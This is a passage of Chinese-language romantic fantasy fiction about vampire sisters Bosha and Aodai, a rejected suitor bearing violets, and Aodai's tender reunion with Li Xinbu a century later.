说来可笑,他不久前做了一场梦,梦里的他真实地活过也死过,爱过也恨过,却还是想,再与她见一面。 没有在浮城等到她,于是他来到了有她的城市,将排练了无数次的拙劣开场又上演了一遍。 但这一次,他的衬衫没有藏圣银匕首,特意挑选了一枝开得最好的紫罗兰,清清白白地来送她。 薄莎看了他一眼,微笑着朝他挥了挥手,便与他擦肩而过。 自始至终也没有看地上的紫罗兰一眼。 西拉斯惶惑地望着她远去的背影,静郁美丽的眼睛里瞬间蓄满了泪水。 她现在,不想要消遣了吗? 薄莎现在在吃马卡龙,并致力于向奥黛推荐:“你尝尝这个粉色的,好吃。” 奥黛推远:“我不吃人类的食物。” 薄莎一口咬掉:“真希望一百年后你也能说这话。” 奥黛再次重申:“我不吃人类的食物。” “……” 夜空下,姐妹讲话的声音渐渐远去。 一百年后的夜空下。 黎信步在奥黛的肩头悠悠转醒,而流星雨已经过去好一会儿了。 “你醒了?”奥黛凝望他睡眼惺忪的样子,觉得好笑,不禁伸手戳了一下他浮起的酒窝,问:“梦到什么了?” 黎信步用力地抱紧了她,深深吸了一口气,声音沙哑:“我梦到你了。” “梦到我什么?” 梦到二百二十六岁的奥黛。有妹妹在身边的奥黛。非常非常耀眼的奥黛。 收紧了手臂,他哑声说:“谢谢,你能来我身边。” 奥黛无声回抱住了他,空荡的右胸膛跃动着他左胸膛的心跳。那么同样的,她的左胸膛的心跳,也在他的右胸膛作响。 两个人,仿佛共用一个身躯。 黎信步的声音在她的头顶响了起来:“或许,你想我陪你骑跨斗摩托吗?” 奥黛眼睛亮了一瞬,一想到她在霭国报废过好几辆的跨斗摩托,又有些迟疑:“很多血仆都被甩飞出去过,你确定要陪我?” “我想陪你。让我陪着你吧。” “好。”